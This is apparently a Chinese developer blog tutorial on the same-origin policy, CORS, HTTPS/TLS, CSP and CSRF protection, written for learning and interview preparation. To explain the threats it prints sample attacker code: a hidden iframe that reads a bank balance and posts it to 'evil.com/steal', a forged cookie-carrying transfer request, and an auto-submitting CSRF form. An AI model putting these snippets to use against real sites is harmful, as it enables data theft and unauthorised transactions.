跨域与安全:CORS、HTTPS 与浏览器安全机制

在开发 Web 应用时,我经常遇到这样的报错:Access to fetch at 'https://api.example.com' from origin 'http://localhost:3000' has been blocked by CORS policy

为什么浏览器要"阻止"我的请求?为什么本地开发时能访问,部署后就不行了?

随着对 Web 安全的深入了解,我逐渐理解:这些"限制"不是浏览器在为难开发者,而是在保护用户。这篇文章是我对浏览器安全机制的学习总结,重点关注同源策略、CORS 跨域、HTTPS 加密,以及它们背后的设计哲学。

问题的起源

Web 最初的设计是开放的:任何网页可以访问任何资源。但这种完全开放带来了严重的安全问题。想象一下,如果没有任何限制:

javascript 复制代码
// 恶意网站 evil.com 的代码
// 如果没有同源策略,这段代码可以:

// 1. 读取用户在 bank.com 的 Cookie
const userToken = document.cookie;

// 2. 向 bank.com 发送请求(携带用户的登录状态)
fetch('https://bank.com/transfer', {
  method: 'POST',
  credentials: 'include',
  body: JSON.stringify({
    to: 'attacker-account',
    amount: 10000
  })
});

// 3. 读取其他网站的内容
const iframe = document.createElement('iframe');
iframe.src = 'https://mail.com';
document.body.appendChild(iframe);
// 然后读取 iframe 里的邮件内容

这就是为什么需要同源策略(Same-Origin Policy):默认隔离,只在必要时开放。

核心概念探索

1. 同源策略:安全的基石

什么是"源"(Origin)?

源由三部分组成:协议(protocol)+ 域名(domain)+ 端口(port)

javascript 复制代码
// 环境:浏览器
// 场景:判断是否同源

const url1 = 'https://example.com:443/page1';
const url2 = 'https://example.com:443/page2';
// 同源:协议、域名、端口都相同

const url3 = 'http://example.com:80/page';
// 不同源:协议不同(https vs http)

const url4 = 'https://api.example.com:443/data';
// 不同源:域名不同(example.com vs api.example.com)

const url5 = 'https://example.com:8080/page';
// 不同源:端口不同(443 vs 8080)

同源策略限制了什么?

javascript 复制代码
// 1. Cookie、LocalStorage、IndexedDB 的访问
// 不同源的页面无法读取彼此的存储数据

// 当前页面:https://example.com
localStorage.setItem('token', 'abc123');

// 另一个页面:https://evil.com
// 无法访问 example.com 的 localStorage
console.log(localStorage.getItem('token')); // null

// 2. DOM 访问
// 不同源的页面无法操作彼此的 DOM

// 页面 A:https://example.com
const iframe = document.createElement('iframe');
iframe.src = 'https://other.com';
document.body.appendChild(iframe);

// 尝试访问 iframe 的内容
iframe.onload = () => {
  // ❌ 报错:Blocked by CORS policy
  const iframeDoc = iframe.contentDocument;
};

// 3. AJAX 请求
// 默认情况下,不同源的 AJAX 请求会被阻止

// 当前页面:http://localhost:3000
fetch('https://api.example.com/data')
  .then(response => response.json())
  .catch(error => {
    // ❌ 报错:CORS policy
    console.error(error);
  });

为什么需要同源策略?

没有同源策略的世界:

javascript 复制代码
// 场景:用户同时打开了 bank.com 和 evil.com

// 用户在 bank.com 登录,浏览器存储了 Cookie

// evil.com 的恶意代码:
// 1. 创建隐藏的 iframe,加载 bank.com
const iframe = document.createElement('iframe');
iframe.src = 'https://bank.com/account';
iframe.style.display = 'none';
document.body.appendChild(iframe);

// 2. 读取 iframe 中的账户信息(如果没有同源策略)
iframe.onload = () => {
  const accountInfo = iframe.contentDocument.querySelector('.balance').textContent;
  
  // 3. 将信息发送给攻击者
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({ info: accountInfo })
  });
};

// 同源策略阻止了第 2 步:evil.com 无法读取 bank.com 的 DOM

2. CORS:受控的跨域访问

CORS(Cross-Origin Resource Sharing)是一种机制,允许服务器声明哪些源可以访问其资源。

简单请求(Simple Request)

满足以下条件的请求是简单请求:

javascript 复制代码
// 条件 1:使用以下方法之一
// GET, HEAD, POST

// 条件 2:只使用以下请求头
// Accept, Accept-Language, Content-Language, Content-Type

// 条件 3:Content-Type 只能是以下之一
// application/x-www-form-urlencoded
// multipart/form-data
// text/plain

// 示例:简单请求
fetch('https://api.example.com/data', {
  method: 'GET',
  headers: {
    'Accept': 'application/json'
  }
});

// 浏览器发送的请求:
// GET /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000  ← 浏览器自动添加
// Accept: application/json

// 服务器响应:
// HTTP/1.1 200 OK
// Access-Control-Allow-Origin: http://localhost:3000  ← 允许该源访问
// Content-Type: application/json

关键响应头

javascript 复制代码
# 1. Access-Control-Allow-Origin(必需)
# 指定允许访问的源
Access-Control-Allow-Origin: http://localhost:3000
# 或者允许所有源(不推荐,存在安全风险)
Access-Control-Allow-Origin: *

# 2. Access-Control-Allow-Credentials
# 是否允许携带 Cookie
Access-Control-Allow-Credentials: true
# 注意:如果设置为 true,Access-Control-Allow-Origin 不能是 *

# 3. Access-Control-Expose-Headers
# 允许 JavaScript 访问的响应头
Access-Control-Expose-Headers: X-Custom-Header, Content-Length

预检请求(Preflight Request)

不满足简单请求条件的,浏览器会先发送一个 OPTIONS 请求进行"预检"。

javascript 复制代码
// 环境:浏览器
// 场景:触发预检请求

// 这个请求会触发预检(使用了自定义请求头)
fetch('https://api.example.com/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Custom-Header': 'value'  // ← 自定义请求头
  },
  body: JSON.stringify({ key: 'value' })
});

// 浏览器实际发送两个请求:

// 1. 预检请求(OPTIONS)
// OPTIONS /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000
// Access-Control-Request-Method: POST  ← 实际请求的方法
// Access-Control-Request-Headers: content-type, x-custom-header  ← 实际请求的头

// 2. 服务器响应预检
// HTTP/1.1 204 No Content
// Access-Control-Allow-Origin: http://localhost:3000
// Access-Control-Allow-Methods: GET, POST, PUT, DELETE
// Access-Control-Allow-Headers: content-type, x-custom-header
// Access-Control-Max-Age: 86400  ← 预检结果缓存时间(秒)

// 3. 如果预检通过,浏览器发送实际请求
// POST /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000
// Content-Type: application/json
// X-Custom-Header: value

什么时候会触发预检?

javascript 复制代码
// 触发预检的情况:

// 1. 使用了非简单请求的方法
fetch(url, { method: 'PUT' });
fetch(url, { method: 'DELETE' });

// 2. 使用了自定义请求头
fetch(url, {
  headers: {
    'X-Custom-Header': 'value',
    'Authorization': 'Bearer token'
  }
});

// 3. Content-Type 不是简单类型
fetch(url, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'  // ← 触发预检
  },
  body: JSON.stringify(data)
});

// 不触发预检的情况:
fetch(url, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'  // ← 简单类型
  },
  body: 'key=value'
});
javascript 复制代码
// 默认情况下,跨域请求不携带 Cookie

// ❌ 不会携带 Cookie
fetch('https://api.example.com/data');

// ✅ 携带 Cookie(需要服务端配合)
fetch('https://api.example.com/data', {
  credentials: 'include'  // ← 携带 Cookie
});

// 服务端必须设置:
// Access-Control-Allow-Credentials: true
// Access-Control-Allow-Origin: http://localhost:3000(不能是 *)

// Cookie 本身也需要设置:
// Set-Cookie: token=abc123; SameSite=None; Secure
// - SameSite=None:允许跨站发送
// - Secure:只在 HTTPS 下发送

3. HTTPS/TLS:加密的必要性

HTTP 是明文传输,容易被窃听和篡改。HTTPS 通过 TLS/SSL 协议加密通信。

HTTP vs HTTPS

HTTP(明文传输): 用户 → 网络 → 服务器

问题:

  1. 窃听:中间人可以看到所有数据(用户名、密码、聊天内容)
  2. 篡改:中间人可以修改数据(注入广告、修改转账金额)
  3. 冒充:中间人可以伪装成服务器(钓鱼网站)

HTTPS(加密传输): 用户 → [加密] → 网络 → [加密] → 服务器

优点:

  1. 加密:数据被加密,中间人无法读取
  2. 完整性:数据无法被篡改(篡改后校验失败)
  3. 认证:服务器身份可验证(通过证书)

TLS 握手(简化版)

HTTPS 连接建立过程:

  1. 客户端发起连接

    -> Client Hello:

    • 支持的 TLS 版本
    • 支持的加密算法列表
    • 随机数 Client Random
  2. 服务器响应

    -> Server Hello:

    • 选择的 TLS 版本
    • 选择的加密算法
    • 随机数 Server Random
    • 服务器证书(包含公钥)
  3. 客户端验证证书

    • 检查证书是否由受信任的 CA 签发
    • 检查证书是否过期
    • 检查证书域名是否匹配
  4. 生成会话密钥

    • 客户端生成 Pre-Master Secret
    • 用服务器公钥加密 Pre-Master Secret 发送给服务器
    • 服务器用私钥解密得到 Pre-Master Secret
    • 双方用 Client Random + Server Random + Pre-Master Secret 生成会话密钥
  5. 开始加密通信 -> 后续所有数据用会话密钥(对称加密)加密

为什么先用非对称加密,再用对称加密?

  1. 非对称加密(RSA):

    • 优点:安全(公钥加密,私钥解密)
    • 缺点:慢(比对称加密慢 100-1000 倍)
  2. 对称加密(AES):

    • 优点:快
    • 缺点:密钥传输不安全
  3. TLS 的解决方案 → 兼顾安全和性能

    1. 用非对称加密传输对称密钥(安全但慢,只做一次)
    2. 用对称加密传输实际数据(快,多次)

证书的作用

Q:如何确保公钥是服务器的,而不是中间人的?

A: 解决方案:证书(Certificate)

  • 证书由 CA(证书颁发机构)签发,包含:

    • 服务器的公钥
    • 服务器的域名
    • 证书有效期
    • CA 的数字签名
  • 验证过程:

    • 如果验证通过 → 可信任该公钥

    • 如果验证失败 → 浏览器显示警告

    1. 浏览器收到证书
    2. 用 CA 的公钥(浏览器内置)验证证书签名
    3. 检查证书域名是否匹配
    4. 检查证书是否过期
    5. 检查证书是否被吊销

4. 其他安全机制

CSP(Content Security Policy)

html 复制代码
<!-- 环境:HTML / HTTP 响应头 -->
<!-- 场景:防止 XSS 攻击 -->

<!-- 方式 1:HTTP 响应头 -->
<!-- Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com -->

<!-- 方式 2:<meta> 标签 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' https://trusted.com">

<!-- CSP 指令:
  - default-src: 默认策略
  - script-src: 脚本来源
  - style-src: 样式来源
  - img-src: 图片来源
  - connect-src: AJAX/WebSocket 来源
  - font-src: 字体来源
-->

<!-- 示例:严格的 CSP -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'nonce-r4nd0m'; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               font-src 'self'; 
               connect-src 'self' https://api.example.com">

<!-- 'nonce-r4nd0m' 的用法 -->
<script nonce="r4nd0m">
  // 只有带正确 nonce 的脚本才能执行
  console.log('This script is allowed');
</script>

<script>
  // ❌ 没有 nonce,被 CSP 阻止
  console.log('This script is blocked');
</script>

CSRF(Cross-Site Request Forgery)防护

html 复制代码
// CSRF 攻击原理:

// 1. 用户登录 bank.com,浏览器存储了 Cookie
// 2. 用户访问 evil.com
// 3. evil.com 的页面包含:
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker-account">
  <input name="amount" value="10000">
</form>
<script>
  document.forms[0].submit();
</script>

// 4. 浏览器自动携带 bank.com 的 Cookie 发送请求
// 5. bank.com 认为这是合法请求(有 Cookie),执行转账

// 防护方式 1:SameSite Cookie
// Set-Cookie: session=abc123; SameSite=Strict
// - Strict: 完全禁止跨站发送
// - Lax: 允许 GET 跨站,禁止 POST 跨站
// - None: 允许跨站(需配合 Secure)

// 防护方式 2:CSRF Token
// 1. 服务器生成随机 token,放在表单中
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="r4nd0m_t0k3n">
  <input name="amount">
  <button type="submit">Submit</button>
</form>

// 2. 服务器验证 token
// 由于 evil.com 无法读取 bank.com 的 DOM(同源策略),
// 无法获取 token,攻击失败

// 防护方式 3:验证 Referer/Origin 请求头
// 服务器检查请求来源是否是自己的域名
if (request.headers.origin !== 'https://bank.com') {
  return '403 Forbidden';
}

实际场景思考

场景 1:开发环境跨域解决方案

javascript 复制代码
// 环境:React / Vue 开发环境
// 场景:本地开发时解决跨域

// 问题:
// 前端:http://localhost:3000
// 后端:https://api.example.com
// → 不同源,CORS 错误

// 解决方案 1:Webpack DevServer 代理(推荐)
// webpack.config.js 或 vite.config.js
module.exports = {
  devServer: {
    proxy: {
      '/api': {
        target: 'https://api.example.com',
        changeOrigin: true,  // 修改请求头的 Origin
        pathRewrite: {
          '^/api': ''  // 去掉 /api 前缀
        }
      }
    }
  }
};

// 前端代码:
fetch('/api/data')  // 实际请求 https://api.example.com/data

// 原理:
// 浏览器 → DevServer(同源,无 CORS 问题)
// DevServer → 后端服务器(服务端请求,无 CORS 限制)

// 解决方案 2:后端临时开启 CORS(仅开发环境)
// Node.js Express
const cors = require('cors');
app.use(cors({
  origin: 'http://localhost:3000',
  credentials: true
}));

// 解决方案 3:浏览器禁用安全检查(不推荐,仅测试用)
// Chrome 启动参数:
// --disable-web-security --user-data-dir=/tmp/chrome

场景 2:生产环境 CORS 配置

javascript 复制代码
// 环境:Node.js / Nginx
// 场景:生产环境正确配置 CORS

// 方案 1:Node.js (Express)
const express = require('express');
const app = express();

// 手动设置 CORS 头
app.use((req, res, next) => {
  const allowedOrigins = [
    'https://example.com',
    'https://www.example.com',
    'https://app.example.com'
  ];
  
  const origin = req.headers.origin;
  
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
  }
  
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Access-Control-Max-Age', '86400');  // 24 小时
  
  // 处理预检请求
  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }
  
  next();
});

// 或使用 cors 中间件
const cors = require('cors');
app.use(cors({
  origin: function (origin, callback) {
    const allowedOrigins = [
      'https://example.com',
      'https://www.example.com'
    ];
    
    if (!origin || allowedOrigins.indexOf(origin) !== -1) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  maxAge: 86400
}));
javascript 复制代码
# 方案 2:Nginx 配置
server {
    listen 443 ssl;
    server_name api.example.com;
    
    # CORS 配置
    location /api {
        # 简单配置(允许所有源,不推荐)
        add_header Access-Control-Allow-Origin *;
        add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
        add_header Access-Control-Allow-Headers "Content-Type, Authorization";
        
        # 处理预检请求
        if ($request_method = OPTIONS) {
            return 204;
        }
        
        proxy_pass http://backend:8080;
    }
    
    # 更安全的配置(动态设置 Origin)
    location /api/secure {
        set $cors_origin "";
        
        if ($http_origin ~* (https://example.com|https://app.example.com)) {
            set $cors_origin $http_origin;
        }
        
        add_header Access-Control-Allow-Origin $cors_origin always;
        add_header Access-Control-Allow-Credentials true always;
        add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
        add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
        
        if ($request_method = OPTIONS) {
            return 204;
        }
        
        proxy_pass http://backend:8080;
    }
}

场景 3:第三方登录集成(OAuth)

javascript 复制代码
// 环境:浏览器 / 前端应用
// 场景:集成 Google 登录

// OAuth 跨域流程:

// 1. 用户点击"使用 Google 登录"
function loginWithGoogle() {
  const clientId = 'your-client-id';
  const redirectUri = encodeURIComponent('https://yourapp.com/callback');
  const scope = encodeURIComponent('openid profile email');
  
  // 跳转到 Google 授权页(非跨域请求,是页面跳转)
  window.location.href = 
    `https://accounts.google.com/o/oauth2/v2/auth?` +
    `client_id=${clientId}&` +
    `redirect_uri=${redirectUri}&` +
    `response_type=code&` +
    `scope=${scope}`;
}

// 2. 用户在 Google 页面授权后,Google 重定向回你的应用
// https://yourapp.com/callback?code=AUTH_CODE

// 3. 前端拿到 code,发送给自己的后端
async function handleCallback() {
  const urlParams = new URLSearchParams(window.location.search);
  const code = urlParams.get('code');
  
  // 发送给自己的后端(同源请求,无 CORS 问题)
  const response = await fetch('/api/auth/google', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ code })
  });
  
  const { token } = await response.json();
  localStorage.setItem('token', token);
}

// 4. 后端用 code 换取 access_token(服务端请求,无 CORS 限制)
// Node.js 后端
app.post('/api/auth/google', async (req, res) => {
  const { code } = req.body;
  
  // 向 Google 服务器请求 token
  const tokenResponse = await fetch('https://oauth2.googleapis.com/token', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      code,
      client_id: 'your-client-id',
      client_secret: 'your-client-secret',
      redirect_uri: 'https://yourapp.com/callback',
      grant_type: 'authorization_code'
    })
  });
  
  const { access_token } = await tokenResponse.json();
  
  // 用 access_token 获取用户信息
  const userResponse = await fetch('https://www.googleapis.com/oauth2/v2/userinfo', {
    headers: { Authorization: `Bearer ${access_token}` }
  });
  
  const userInfo = await userResponse.json();
  
  // 生成自己的 JWT token
  const token = generateJWT(userInfo);
  res.json({ token });
});

// 关键点:
// 1. 前端跳转到 Google(页面跳转,不是 AJAX)
// 2. Google 重定向回前端(携带 code)
// 3. 前端发送 code 给自己的后端(同源)
// 4. 后端与 Google 通信(服务端请求,无 CORS)

场景 4:JSONP(传统跨域方案)

javascript 复制代码
// JSONP(JSON with Padding)是 CORS 出现前的跨域方案

// 原理:<script> 标签不受同源策略限制

// 环境:浏览器
// 场景:获取跨域数据(仅适用于 GET 请求)

// 前端代码
function jsonp(url, callback) {
  // 生成随机回调函数名
  const callbackName = 'jsonp_callback_' + Math.random().toString(36).substr(2);
  
  // 创建 script 标签
  const script = document.createElement('script');
  script.src = `${url}?callback=${callbackName}`;
  
  // 定义全局回调函数
  window[callbackName] = function(data) {
    callback(data);
    // 清理
    document.body.removeChild(script);
    delete window[callbackName];
  };
  
  document.body.appendChild(script);
}

// 使用
jsonp('https://api.example.com/data', (data) => {
  console.log(data);
});

// 服务器返回(不是 JSON,是 JavaScript 代码)
// jsonp_callback_xxx({ name: 'John', age: 30 })

// 浏览器执行这段代码,调用回调函数

// JSONP 的问题:
// 1. 只支持 GET 请求
// 2. 无法处理错误(404, 500)
// 3. 安全性差(容易被 XSS 攻击)
// 4. 现代应用应该使用 CORS

场景 5:postMessage 跨窗口通信

javascript 复制代码
// 环境:浏览器
// 场景:不同源的窗口/iframe 通信

// 页面 A (https://example.com)
const iframe = document.createElement('iframe');
iframe.src = 'https://other.com/page.html';
document.body.appendChild(iframe);

iframe.onload = () => {
  // 向 iframe 发送消息
  iframe.contentWindow.postMessage({
    type: 'greeting',
    message: 'Hello from example.com'
  }, 'https://other.com');  // 指定目标源
};

// 接收来自 iframe 的消息
window.addEventListener('message', (event) => {
  // 验证消息来源
  if (event.origin !== 'https://other.com') {
    return;
  }
  
  console.log('Received:', event.data);
});

// 页面 B (https://other.com/page.html)
// 接收来自父窗口的消息
window.addEventListener('message', (event) => {
  // 验证消息来源
  if (event.origin !== 'https://example.com') {
    return;
  }
  
  console.log('Received from parent:', event.data);
  
  // 回复消息
  event.source.postMessage({
    type: 'response',
    message: 'Hello back!'
  }, event.origin);
});

// 安全注意事项:
// 1. 始终验证 event.origin
// 2. 指定明确的目标源,不要用 *
// 3. 验证消息内容

知识点快速回顾

(30 秒版本)

Q: 什么是同源策略?

A: 同源策略是浏览器的安全机制,限制不同源的页面互相访问。源由协议、域名、端口三部分组成,全部相同才是同源。它限制了 Cookie/LocalStorage 访问、DOM 访问、AJAX 请求,防止恶意网站窃取用户数据。

Q: 什么是 CORS?简单请求和预检请求的区别?

A: CORS 是跨域资源共享机制,允许服务器声明哪些源可以访问其资源。简单请求(GET/POST + 简单请求头)直接发送,服务器通过 Access-Control-Allow-Origin 响应。预检请求(非简单请求)会先发送 OPTIONS 请求询问服务器是否允许,通过后才发送实际请求。

Q: HTTPS 如何保证安全?

A: HTTPS 通过 TLS/SSL 协议实现:1) 加密:数据加密传输,防止窃听;2) 完整性:防止数据被篡改;3) 认证:通过证书验证服务器身份。使用非对称加密(RSA)交换密钥,对称加密(AES)传输数据,兼顾安全和性能。

(2 分钟版本)

Q: 开发环境如何解决跨域问题?

A: 常见方案:

  1. Webpack DevServer 代理(推荐):配置 proxy,请求发到本地开发服务器,再转发到后端
  2. 后端临时开启 CORS :开发环境设置 Access-Control-Allow-Origin: *
  3. 浏览器禁用安全检查:仅测试用,不推荐

生产环境必须正确配置 CORS,不能用代理或禁用安全检查。

Q: 什么情况会触发 CORS 预检请求?

A: 触发条件:

  1. 使用 PUT、DELETE、PATCH 等方法
  2. 使用自定义请求头(如 Authorization、X-Custom-Header)
  3. Content-Type 不是 application/x-www-form-urlencoded、multipart/form-data、text/plain

简单请求不触发预检,直接发送。

Q: Cookie 如何跨域携带?

A: 需要同时满足:

  1. 前端:fetch(url, { credentials: 'include' })
  2. 后端:Access-Control-Allow-Credentials: true
  3. 后端:Access-Control-Allow-Origin 不能是 *,必须是具体源
  4. Cookie:SameSite=None; Secure(允许跨站且仅 HTTPS)

Q: TLS 握手的过程?

A: 简化流程:

  1. 客户端发送 Client Hello(支持的加密算法、随机数)
  2. 服务器发送 Server Hello(选择的算法、随机数、证书)
  3. 客户端验证证书
  4. 客户端生成 Pre-Master Secret,用服务器公钥加密发送
  5. 双方用三个随机数生成会话密钥
  6. 后续通信用会话密钥加密

为什么要三个随机数?增加密钥的随机性,提高安全性。

Q: 如何防止 CSRF 攻击?

A: 常见方案:

  1. SameSite CookieSameSite=StrictSameSite=Lax,禁止跨站发送 Cookie
  2. CSRF Token:服务器生成随机 token 放在表单中,提交时验证
  3. 验证 Origin/Referer:检查请求来源是否是自己的域名
  4. 双重 Cookie 验证:Cookie 中的 token 与请求参数中的 token 对比

推荐使用 SameSite Cookie + CSRF Token 组合。

有关浏览器跨域的高频关键概念

面试时,回答中尽量涵盖这些关键词:

  • 同源策略(Same-Origin Policy)
  • CORS(Cross-Origin Resource Sharing)
  • 简单请求 / 预检请求(Preflight Request)
  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials
  • HTTPS / TLS / SSL
  • 非对称加密 / 对称加密
  • 证书 / CA(证书颁发机构)
  • CSRF / XSS
  • SameSite Cookie
  • CSP(Content Security Policy)

容易踩的坑

  1. CORS 配置 Access-Control-Allow-Origin: * 时设置 credentials: true:这两者冲突,浏览器会报错
  2. 混淆 CORS 是前端问题还是后端问题:CORS 必须由后端配置,前端无法绕过
  3. 以为 JSONP 很安全:JSONP 容易被 XSS 攻击,且只支持 GET,现代应用应使用 CORS
  4. 忽略预检请求的开销 :频繁的预检请求影响性能,应设置合理的 Access-Control-Max-Age
  5. HTTPS 页面加载 HTTP 资源:会被浏览器阻止(Mixed Content),所有资源应使用 HTTPS

安全最佳实践

  1. 使用 HTTPS

    • ✓ 配置 HSTS
    • ✓ 使用有效证书
    • ✓ 避免 Mixed Content
  2. 正确配置 CORS

    • ✓ 指定具体的 Origin,不用 *
    • ✓ 谨慎开启 credentials
    • ✓ 设置合理的 Max-Age
  3. Cookie 安全

    • ✓ 使用 HttpOnly(防止 XSS 读取)
    • ✓ 使用 Secure(仅 HTTPS)
    • ✓ 使用 SameSite(防止 CSRF)
  4. 防御 XSS

    • ✓ 配置 CSP
    • ✓ 转义用户输入
    • ✓ 使用 DOMPurify 清理 HTML
  5. 防御 CSRF

    • ✓ SameSite Cookie
    • ✓ CSRF Token
    • ✓ 验证 Origin/Referer

小结

Web 安全机制看似限制了开发的自由度,实际上是在保护用户的隐私和安全。理解同源策略的设计初衷、CORS 的工作原理、HTTPS 的加密过程,能帮助我们既满足功能需求,又确保应用安全。

这篇文章主要探讨了:

  • 同源策略:浏览器安全的基石
  • CORS:受控的跨域访问
  • HTTPS/TLS:加密通信的原理
  • 其他安全机制:CSP、CSRF 防护、SRI

参考资料

相关推荐
用户3153247795453 小时前
React19项目中 FormEdit / FormEditModal 组件封装设计说明
前端·react.js
陆枫Larry3 小时前
Git 合并冲突实战:`git pull` 失败与 `pull.ff=only` 的那些事
前端
江南月3 小时前
让智能体边想边做:从 0 理解 ReActAgent 的工作方式
前端·人工智能
袋鱼不重3 小时前
Hermes Agent 安装与实战:从安装到与 OpenClaw 全方位对比
前端·后端·ai编程
汉秋3 小时前
iOS 自定义 UICollectionView 拼图布局 + 布局切换动画实践
前端
江南月3 小时前
让智能体学会自我改进:从 0 理解 ReflectionAgent 的迭代优化
前端·人工智能
尽欢i3 小时前
前端响应式布局新宠:vw 和 clamp (),你了解吗?
前端·css
沸点小助手3 小时前
「 AI 整活大赛,正式开擂 & 最近一次面试被问麻了吗」沸点获奖名单公示|本周互动话题上新🎊
前端·人工智能·后端
zjeweler3 小时前
“网安+护网”终极300多问题面试笔记-全
笔记·网络安全·面试·职场和发展